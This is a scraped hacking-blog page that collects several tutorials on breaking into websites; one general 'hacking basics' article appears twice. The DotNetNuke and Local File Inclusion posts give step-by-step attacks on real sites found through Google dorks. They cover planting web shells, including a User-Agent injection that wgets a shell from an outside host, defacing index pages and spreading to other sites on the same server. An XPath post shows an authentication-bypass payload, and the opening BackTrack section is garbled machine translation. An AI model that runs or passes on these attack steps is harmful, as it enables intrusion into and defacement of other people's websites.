Backtrack Setup Manually For Hacking !

The Linux (Backtrack) of all the problems that will be tried.If you do not yet have just added Join us.So go ahead and download it backtrack part by part. (Brand new, please do not disturb)
However, more One
What is Backtrack?
=> Backtrack a Linux-based operating system.
Why backtrack?
=> We mainly use Linux for hacking. And backtrack the hacking tools available to all. So we have to choose Backtrack action.
How do I set up backtrack / no harm will PC 's / ......?
=> No. We Done setup that is fully secure and that any problem that you are.
I do not say we'll use Backtrack for hacking Windows, so we'll keep this as our main pichira with the moves to create a PC Backtrack install it.
Therefore, we use the Backtrack VirtualBox installed so that we do the same with Windows and Backtrack use.
I hope you understand.

• Go to the first page to Download the Backtrack. Here
• The download on the right side of the press.

1.Release Backtrack   :  Backtrack 5 R3

    2.Window Manager:  :    Gnome....

    3.Architecture             :    32..........

    4.Image Type:             :   ISO      

    5.Download Type       :   Direct or torrent

    6.We'll Direct Download then click No Thanks            

  Please wait for download to finish it up.

• we installed virtualbox can be installed, but it is much more System hacking is no longer good for

• virtualbox's website and go to the bottom download

No More Today This file are too large

Read More

Web site Hacking Dot Net Nuke (DNN)

Hello everyone!! Previously we have discussed about "How to Hack Website Using Havij SQL Injection". Today,I am going to tell about one more very usefull but old method which you can used to hack website using Dot net nuke(DNN) exploit. I know some of you know about this method DNN but it is very good exploit to hack dot net sites. By using this DNN exploit, you can even hack all sites which are hosted on same server. Also you can upload any file using it. It is easy method as compared to other hacking attacks such as SQL-Injection and Cross Site Scripting etc.
What is DNN (Dot Net Nuke) ?

DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.

Step 1: First go to google.com search page and use this following dork to find vulnerable site.

    inurl:home/tabid/36/language/en-US/Default.aspx 

Another dorks you can use

    inurl:fcklinkgallery.aspx
    inurl:/portals/0 

Step 2: Now open any site from the search list like

    http://www.vulsite.com/home/tabid/36/language/en-US/Default.aspx 


Now replace "home/tabid/36/language/en-US/Default.aspx"           with                 Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

So your url will become

    http://www.vulsite.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

Then hit enter

Step 3: Now there are 2 possibilities

If u get Link Gallery url select then site is not vulnerable , see the image below

And If you get Like shown in below image then target is vulnerable 

ok now if you find a vulnerable site move to next step

Step 4: Now you can see 3 options there and we neeed to select “File in your site”.

Step 5: Now after selecting 3 options, we need to use a javascript code. For that we need to use that browser which supports javascript. So i use Opera Mini .

Before using javascript, first we need to choose file location as root, after that clear everything written on browser url and paste the below javascript only.

    javascript:__doPostBack('ctlURL$cmdUpload','') 

Step 6: After inject the above javascript code in browser address bar, you will get upload option instead of selection option.

Step 7: Now you have to upload your shell.

Note : But remember you cant upload your shell directly in .php format and not even you can do anything by uploading .php.jpg

So for this purpose first we need to upload a special type of shell which is specially coded in asp.

Download the shell :- For more ASP shell goto www.sh3ll.org .

Now rename your asp shell to

    yourshell.asp;.jpg

And upload it.

After uploading you can access your ASP shell by going to this address,

    http://www.vulsite.com/portals/0/yourshell.asp;.jpg

Step 8: Now upload your php shell using upload file option marked in above image.

After uploading php shell you can access it by going to this address,

    http://www.vulsite.com/portals/0/yourphpshell.php


Step 9: Now replace your index.html with original index.html. Thats it.

Well you can also hack all sites which are hosted on same server.

For that follow the bellow image and click on Drives you will find all sites hosted on same server.

Click on any one site and follow the above process to upload you shell.

Read More

Basic Ethical Hacking part 1

 Hack Website : Basic Information About Website Hacking Part 1
Well I have posted lots of articles on Email Hacking which includes Phishing and keylogging etc, but today I would like to throw some light on new topic which is "Website Hacking". Today i am first time writing article on "Website Hacking". why I am writing this article as there are lots of newbies having lots of misconceptions related hacking website, So I hope this tutorial cover all those misconception and if not all most of them.

Website security is a major problem today and should be a priority in any organization or a webmaster, Now a days Hackers are concentrating alot of their efforts to find holes in a web application, If you are a website owner and having a High Page rank and High Traffic then there is a chance that you might be a victim of these Hackers.

Few years back their existed no proper tools search for vulnerability, but now a days there are tons of tools available such as SQL Injection through which even a newbie can find a vulnerable site and start Hacking in just few minutes.

Basic Information About Website Hacking

What is a website hack?
The files of your website are stored on a computer somewhere. The computer, called a "server" or "web server", is not too much different from your home PC, except that its configuration is specialized for making files available to the world wide web, so it has a lot of hard drive capacity and a very high speed internet connection. It probably doesn't have its own monitor or keyboard because everyone who communicates with it does so through its internet connection, just like you do.

With everybody connecting to your site through the internet, it might seem like just an accident if one of your files gets changed once in a while in all the commotion, but it's not.

Your website and server have several security systems that determine what kind of access each person has. You are the owner, so you have passwords that give you read/write access to your site. You can view files (read) and you can also change them (write). Everybody else only has read access. They can view your files, but they are never, ever supposed to be able to change them, delete them, or add new ones.

A hack occurs when somebody gets through these security systems and obtains write access to your server, the same kind you have. Once they obtain that, they can change, add, or delete files however they want. If you can imagine someone breaking into your home and sitting down at your PC with a box of installation CD's, that's what a website hack is like. They might do only a little damage, or a lot. The choice is up to them.

People often ask, "But how could my page, which was 100% pure HTML, have been hacked?"

The answer is that the defacement of the page wasn't the hack. The hack was when they got write access to the server. The "pure HTML" page had nothing at all to do with that.

Altering the page was simply the thing they chose to do after they got in. Once they get in, they can do ANYTHING, including alter your pages that are pure HTML. That is the reason why, after a hack, the most important thing isn't repairing the damage they did (which most people focus on), but finding out how they got in.

Who are the hackers?

Website hacking is one of the modern enterprises of organized crime, but if you think that means it's being done amateurishly by a bunch of elderly mobsters who took night classes in Computer ABC's to learn what "this Internet Explore thing is", think again. These organizations have professional programmers. Their campaigns to take control of thousands of the world's computers are well planned and sophisticated, drawing on an in-depth knowledge of operating system software, browser vulnerabilities, programming, and even psychology, and their attacks are almost always automated.

Strangely enough, if your site was hacked, it probably wasn't done by a person, but by another computer, which was hacked by another computer, which was hacked by yet another, and somewhere way back in the chain is a programmer who initially unleashed the sequence of events that set all these computers to attacking each other and building a giant network, a "botnet", a massively parallel virtual supercomputer whose purpose is to suck up all of the world's information that the criminals can efficiently turn into money. They need to have as many computers as possible recruited into the enterprise, and that's why they wanted to hack your little website.

Other hackers do it, whether they realize it or not, as affiliates of organized crime. Using tools provided by the larger organization, they get a small commission ($5, last I heard) for each website they successfully break into.

And there are still hackers who are motivated by fun, challenge, and prestige among their peers or by the desire to deface the site of someone they dislike, but their numbers and impact today are dwarfed by the commercial robotic crawling operations.

Why do they do it? What do they want?

What they want is money. While you may be racking your brain and tearing your hair out trying to figure out how to monetize your website, these people already know just how to do it, and they have a plan, too. You can't use the same monetization methods they do because their methods are illegal!

To use your server to make money, in approximate order of decreasing value and decreasing incidence of occurrence, they want:

    Your visitors' confidential financial information. They want credit card and Social Security numbers, FTP passwords, website logins, and other information from the people who trustingly visit your site. Credit card numbers are sold in bulk to brokers who resell them. More complete financial information is used in identity theft schemes involving mortgages or car loans.
Theft methods:
        They install malicious content on your website so that your visitors are attacked with viruses, Trojans, keyloggers, and other spyware. Once on the PCs, the malware either searches for the data it wants, or keyloggers capture passwords as users log into their bank accounts. The stolen data is relayed to remote computers using the victim's internet connection. In spite of the availability of antivirus and antispyware software, many home PCs are still poorly protected, and one of the sophisticated attack packages (MPack) claims that it successfully infects 50% of the computers it attacks.
They copy your customer database.
        They install spyware or phishing pages in your site, to grab data as your customers log in. Use of your visitors' computers. When they got into your server, they took control of one computer, but now they can attack all your visitors, too, and maybe get hundreds or thousands of new zombie computers under their control. One of the things that makes your server an attractive target is the opportunity to attack all these poorly protected PC's.
Your mail server, for sending spam.
Your server's high-speed internet connection, for relaying stolen data, spamming, communicating with other sites in a botnet, crawling the web searching for new websites to victimize, and attacking them.
    Free use of your server's processing power, to reprogram however they want.
    Free use of your webspace, to host illegal content or even an entire illegal website. They avoid webhosting fees, electricity bills, and can engage in activities that no webhost would allow, leaving you with the worries about TOS violations and legal liability. Even after you clean up the site and remove the content, it may remain indexed by search engines for months.
    Examples:
        Phishing sites: they create a fake (spoof) site that looks like a popular one such as PayPal. Then they send spam emails containing links to the phishing page on your site. When victims log in, thinking it's PayPal, your site steals their login data and relays it to a remote computer. Then the thieves log into the real PayPal accounts and steal the money.
Illegal pornographic content.
        Use your web space to store PHP or Perl scripts like c99 or r57 for use in Remote File Inclusion (RFI) attacks on other sites, making your site look like the attacker.
    Your traffic. They put visible links on your pages that visitors on your site can follow. Or they install code to redirect all of your traffic to a different site. Either way, your visitors become their visitors.
    Your money, by extortion, threatening to launch a worse attack against your site if you don't pay them.
    Your PageRank. By putting invisible outbound links on your pages (so only search engines see them) they inflate another site's inbound links and boost its PageRank. Appearing higher in search results makes more money for them.
    Your advertising space. They monetize your popularity by inserting their ads onto your pages. Clicks are credited to them.

Common Methods used for Website Hacking

There are lots of methods that can be used to hack a website but most common ones are as follows:

    SQL Injection
    Cross Site Scripting (XSS)
    Remote File Inclusion(RFI)
    Local File inclusion(LFI)
    Directory Traversal
    Cross-site request forgery( CSRF )
    SSI Injection
    LDAP Injection
    XPath Injection
    Denial of Service - DOS Attacks

In this article, I have just shared basic information on Hacking Website. I hope you have liked the post uptill now, I will cover the method to hack website in the next post, So stay tuned !.

Read More

Web site Hacking by Local File Inclusion (LFI)

In previous article we have discussed various website hacking tutorials like..How to find a vulnerable Website?, Basic information of website hacking, XSS Tutorial , (CSRF/XSRF) and Remote File Inclusion Tutorial.

In this tutorial I show you how to get a shell on websites using Local File Inclusion (LFI) vulnerabilities and injection malicious code in proc/self/environ.Is a step by step tutorial.
How To Hack Website Using Local File Inclusion(LFI)

Follow the following steps to hack website using LFI and upload shell on hacked website.
Step 1: Search For LFI vulnerable Sites?
Now we are going to find a Local File Inclusion vulnerable website using some Dorks.Search that Dorks in google, to get LFI vulnerable Sites.

    inurl:redirect.php?page=
    inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=
    inurl:/include/new-visitor.inc.php?lvc_include_dir=
    inurl:/_functions.php?prefix=
    inurl:/cpcommerce/_functions.php?prefix=
For more Dorks Visit here
Here i am using following google dork:

    inurl:redirect.php?page=

Search that in google, and you should come up with a link like this:

    www.website.com/view.php?page=contact.php

Step 2: Test Local File Inclusion vulnerability
Now lets replace contact.php with ../ so the URL will become

    www.website.com/view.php?page=../

and we got an error

    Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

Big chances to have a Local File Inclusion vulnerability.Let’s go to next step.

Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
 www.website.com/view.php?page=../../../etc/passwd

We got error and no etc/passwd file

    Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

so we go more directories up

    www.website.com/view.php?page=../../../../../etc/passwd

we successfully included the etc/passwd file.

    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
Note :well if Local File Inclusion vulnerable site url is,

    www.site.com/test.php?main=lol.php

that means,

    PHP Code:
    include $main; 

so you cant go with it with any nullbyte

    ../../etc/passwd 

and if Local File Inclusion vulnerable site url like

    www.site.com/test.php?main=lol

well that means the include has .php with it as in

    PHP Code:
    include $main.'.php';

well actually we know that mean the .php comes to the end of it so we have to use the nullbyte for this one.

    ../etc/passwd

Step 3: Checking if proc/self/environ is accessible
Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

    www.website.com/view.php?page=../../../../../proc/self/environ

If you get something like

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
Step 4: Injecting malicious code
Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :

    www.website.com/view.php?page=../../../../../proc/self/environ

Choose Tamper and in User-Agent filed write the following code :

    <?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>

Then submit the request.
Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
Step 5: Access our shell
Now lets check if our malicious code was successfully injected.Lets check if the shell is present.

    www.website.com/shell.php

Our shell is there.Injection was successfully.
So friends, I hope you will like this
Local File Inclusion Tutorial....
I have personally tested this Website Hacking Tutorial and found all are working. If you have any problem in above Website hacking Using Remote File Inclusion Tutorial, please mention it in comments section.

Read More

Xpath Injection Website Hacking Technic !

Everyday many website gets hacked by hackers but most of the hackers are hacking those website just for popularity nothing else. Today i am writing this tutorial on XPath Injection, in which i will explain you, How Hackers Hack Website Using XPath Injection.

In a typical Web Application architecture, all data is stored on a Database server. This Database server store data in various formats like an LDAP, XML or RDBMS database. The application queries the server and accesses the information based on the user input.

Normally attackers try to extract more information than allowed by manipulating or using the query with specially crafted inputs.Here, in this tutorial we’ll be discussing XPATH Injection techniques to extract data from XML databases.
Don’t forget to Subscribe to our RSS feed

XPath Injection Tutorial To Hack Websites Database

Before we go deeper into XPATH injection lets take a brief look at what XML and XPath.
What is XML?
XML stands for Extensible Markup Language and was designed or used to describe data. It provide platform for programmers to create their own customized tags to store data on database server. An XML document is mostly similar to an RDBMS Database except for the way data is stored in them. In case of a normal database, data is stored in a table rows and columns and in XML the data is stored in nodes in a tree form.
What is XPath?
XPath is a query language used to select data from XML data sources. It is increasingly common for web applications to use XML data files on the back-end, using XPath to perform queries much the same way SQL would be used against a relational database.
XPath injection, much like SQL injection, exists when a malicious user can insert arbitrary XPath code into form fields and URL query parameters in order to inject this code directly into the XPath query evaluation engine. Doing so would allow a malicious user to bypass authentication (if an XML-based authentication system is used) or to access restricted data from the XML data source.

Lets learn with the help of examples that will show how XPath works, Let's assume that our database is represented by the following XML file:

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <users>
    <user>
    <username>wildhacker</username>
    <password>123</password>
    <account>admin</account>
    </user>
    <user>
    <username>cutler</username>
    <password>jay</password>
    <account>guest</account>
    </user>
    <user>
    <username>ronie</username>
    <password>coleman</password>
    <account>guest</account>
    </user>
    </users>


The above code show how username,password and user account details stored in XML file.

Following XPath query is used to returns the account whose username is "wildhacker" and the password is "123" : ,

    string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())


If the application developer does not properly filter user input, the tester or hacker will be easily able to inject XPath code and interfere with the query result. For instance, the hacker or tester could input the following values:

    Username: ' or '1' = '1
    Password: ' or '1' = '1


Using these above parameters, the query becomes:

    string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())


As in most of the common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack(i will explain that in next tutorials), whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information.

That’s it.

So friends, I hope you will like this

Read More

Hack Website : Basic Information About Website Hacking Part 1

 Hack Website : Basic Information About Website Hacking Part 1

 
Well I have posted lots of articles on Email Hacking which includes Phishing and keylogging etc, but today I would like to throw some light on new topic which is "Website Hacking". Today i am first time writing article on "Website Hacking". why I am writing this article as there are lots of newbies having lots of misconceptions related hacking website, So I hope this tutorial cover all those misconception and if not all most of them.
Website security is a major problem today and should be a priority in any organization or a webmaster, Now a days Hackers are concentrating alot of their efforts to find holes in a web application, If you are a website owner and having a High Page rank and High Traffic then there is a chance that you might be a victim of these Hackers.
Few years back their existed no proper tools search for vulnerability, but now a days there are tons of tools available such as SQL Injection through which even a newbie can find a vulnerable site and start Hacking in just few minutes. 
Basic Information About Website Hacking
What is a website hack?

The files of your website are stored on a computer somewhere. The computer, called a "server" or "web server", is not too much different from your home PC, except that its configuration is specialized for making files available to the world wide web, so it has a lot of hard drive capacity and a very high speed internet connection. It probably doesn't have its own monitor or keyboard because everyone who communicates with it does so through its internet connection, just like you do.

With everybody connecting to your site through the internet, it might seem like just an accident if one of your files gets changed once in a while in all the commotion, but it's not.

Your website and server have several security systems that determine what kind of access each person has. You are the owner, so you have passwords that give you read/write access to your site. You can view files (read) and you can also change them (write). Everybody else only has read access. They can view your files, but they are never, ever supposed to be able to change them, delete them, or add new ones.

A hack occurs when somebody gets through these security systems and obtains write access to your server, the same kind you have. Once they obtain that, they can change, add, or delete files however they want. If you can imagine someone breaking into your home and sitting down at your PC with a box of installation CD's, that's what a website hack is like. They might do only a little damage, or a lot. The choice is up to them.

People often ask, "But how could my page, which was 100% pure HTML, have been hacked?"
The answer is that the defacement of the page wasn't the hack. The hack was when they got write access to the server. The "pure HTML" page had nothing at all to do with that.

Altering the page was simply the thing they chose to do after they got in. Once they get in, they can do ANYTHING, including alter your pages that are pure HTML. That is the reason why, after a hack, the most important thing isn't repairing the damage they did (which most people focus on), but finding out how they got in.

Who are the hackers?

Website hacking is one of the modern enterprises of organized crime, but if you think that means it's being done amateurishly by a bunch of elderly mobsters who took night classes in Computer ABC's to learn what "this Internet Explore thing is", think again. These organizations have professional programmers. Their campaigns to take control of thousands of the world's computers are well planned and sophisticated, drawing on an in-depth knowledge of operating system software, browser vulnerabilities, programming, and even psychology, and their attacks are almost always automated.

Strangely enough, if your site was hacked, it probably wasn't done by a person, but by another computer, which was hacked by another computer, which was hacked by yet another, and somewhere way back in the chain is a programmer who initially unleashed the sequence of events that set all these computers to attacking each other and building a giant network, a "botnet", a massively parallel virtual supercomputer whose purpose is to suck up all of the world's information that the criminals can efficiently turn into money. They need to have as many computers as possible recruited into the enterprise, and that's why they wanted to hack your little website.
Other hackers do it, whether they realize it or not, as affiliates of organized crime. Using tools provided by the larger organization, they get a small commission ($5, last I heard) for each website they successfully break into.

And there are still hackers who are motivated by fun, challenge, and prestige among their peers or by the desire to deface the site of someone they dislike, but their numbers and impact today are dwarfed by the commercial robotic crawling operations.

Why do they do it? What do they want?

What they want is money. While you may be racking your brain and tearing your hair out trying to figure out how to monetize your website, these people already know just how to do it, and they have a plan, too. You can't use the same monetization methods they do because their methods are illegal!

To use your server to make money, in approximate order of decreasing value and decreasing incidence of occurrence, they want:

    Your visitors' confidential financial information. They want credit card and Social Security numbers, FTP passwords, website logins, and other information from the people who trustingly visit your site. Credit card numbers are sold in bulk to brokers who resell them. More complete financial information is used in identity theft schemes involving mortgages or car loans.
Theft methods:
        They install malicious content on your website so that your visitors are attacked with viruses, Trojans, keyloggers, and other spyware. Once on the PCs, the malware either searches for the data it wants, or keyloggers capture passwords as users log into their bank accounts. The stolen data is relayed to remote computers using the victim's internet connection. In spite of the availability of antivirus and antispyware software, many home PCs are still poorly protected, and one of the sophisticated attack packages (MPack) claims that it successfully infects 50% of the computers it attacks.
        They copy your customer database.
        They install spyware or phishing pages in your site, to grab data as your customers log in.
    Use of your visitors' computers. When they got into your server, they took control of one computer, but now they can attack all your visitors, too, and maybe get hundreds or thousands of new zombie computers under their control. One of the things that makes your server an attractive target is the opportunity to attack all these poorly protected PC's.
    Your mail server, for sending spam.
    Your server's high-speed internet connection, for relaying stolen data, spamming, communicating with other sites in a botnet, crawling the web searching for new websites to victimize, and attacking them.
    Free use of your server's processing power, to reprogram however they want.
    Free use of your webspace, to host illegal content or even an entire illegal website. They avoid webhosting fees, electricity bills, and can engage in activities that no webhost would allow, leaving you with the worries about TOS violations and legal liability. Even after you clean up the site and remove the content, it may remain indexed by search engines for months.
Examples:
        Phishing sites: they create a fake (spoof) site that looks like a popular one such as PayPal. Then they send spam emails containing links to the phishing page on your site. When victims log in, thinking it's PayPal, your site steals their login data and relays it to a remote computer. Then the thieves log into the real PayPal accounts and steal the money.
Illegal pornographic content.
        Use your webspace to store PHP or Perl scripts like c99 or r57 for use in Remote File Inclusion (RFI) attacks on other sites, making your site look like the attacker.
    Your traffic. They put visible links on your pages that visitors on your site can follow. Or they install code to redirect all of your traffic to a different site. Either way, your visitors become their visitors.
    Your money, by extortion, threatening to launch a worse attack against your site if you don't pay them.
    Your PageRank. By putting invisible outbound links on your pages (so only search engines see them) they inflate another site's inbound links and boost its PageRank. Appearing higher in search results makes more money for them.
    Your advertising space. They monetize your popularity by inserting their ads onto your pages. Clicks are credited to them.
Common Methods used for Website HackingThere are lots of methods that can be used to hack a website but most common ones are as follows:

    SQL Injection
    Cross Site Scripting (XSS)
    Remote File Inclusion(RFI)
    Local File inclusion(LFI)
    Directory Traversal
    Cross-site request forgery( CSRF )
    SSI Injection
    LDAP Injection
    XPath Injection
    Denial of Service - DOS Attacks
In this article, I have just shared basic information on Hacking Website. I hope you have liked the post uptill now, I will cover the method to hack website in the next post, So stay tuned !.

Read More